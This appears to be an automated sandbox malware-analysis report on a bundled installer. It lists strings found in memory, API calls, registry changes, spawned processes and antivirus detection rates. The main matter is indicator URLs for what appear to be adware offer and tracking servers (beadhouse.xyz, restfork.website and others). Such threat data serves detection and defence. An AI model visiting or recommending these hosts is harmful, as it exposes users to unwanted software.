Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2577&dn=424&spot=5&t=1
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2577&dn=244&spot=3&t=17
Source: setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4
Source: setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5
Source: setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2577&dn=415&spot=4&t=17058
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2577&dn=416&spot=6&t=17058
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2577&dn=419&spot=2&t=17058
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2577&dn=420&spot=1&t=17058
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2577&dn=424&spot=5&t=17058
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2577&dn=244&spot=3&t=170585
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/ows
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: setup.exe, setup.exe, 00000003.00000000.2254170270.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-0S4HI.tmp.2.dr, is-RR58F.tmp.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: setup.exe, 00000003.00000000.2254170270.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-0S4HI.tmp.2.dr, is-RR58F.tmp.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000935000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.000000000259B000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000024EF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3400479226.00000000038AF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2128277310.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000002.3397136589.0000000002373000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000024EF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3400479226.00000000038AF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://restfork.website/boa.php
Source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9Inno
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92http://beadhouse.xyz/a
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2128277310.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000002.3397136589.0000000002373000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000024EF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3400479226.00000000038AF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://windactivity.online/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbH
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://www.pcmaintainer.com/privacy
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://www.thedownloadplanet.com/termsofuse
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://advancedmanager.io/eula
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://advancedmanager.io/privacy-policy
Source: setup.exe, 00000003.00000002.3397288770.00000000005B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/Xn
Source: setup.exe, 00000003.00000002.3399973361.0000000005410000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427)&S
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427InnoDownloadPlugin/1.5/USERAGENT/silentget1023
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427K&q
Source: setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427oq
Source: setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427pY
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.000000000251D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://destructionheat.site/tracker/thank_you.php?trk=2577
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://digitalpulsedata.com/tos
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://legal.opera.com/privacy/
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000025FA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/
Source: setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130754913.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130248820.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000000.2133112824.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J242U.tmp.2.dr, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://www.pcmaintainer.com/eula
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130754913.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130248820.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000000.2133112824.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J242U.tmp.2.dr, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.6:49720 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00405042 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_00405042

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_0040323C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

3_2_0040323C

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

File created: C:\Windows\unins000.dat

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_00404853		3_2_00404853
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_00406131		3_2_00406131

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-J242U.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000002.3397136589.00000000023A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130248820.0000000002638000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000000.2127662064.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130754913.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Binary or memory string: OriginalFileName vs 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal42.troj.winEXE@5/24@3/3

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00404356 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

3_2_00404356

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Code function: 3_2_00402020 CoCreateInstance,MultiByteToWideChar,

3_2_00402020

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

File created: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	ReversingLabs: Detection: 39%
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Virustotal: Detection: 45%

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

File read: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp "C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp" /SL5="$2042E,832512,832512,C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe"
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe
Source: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp "C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp" /SL5="$2042E,832512,832512,C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp	Automated click: Next
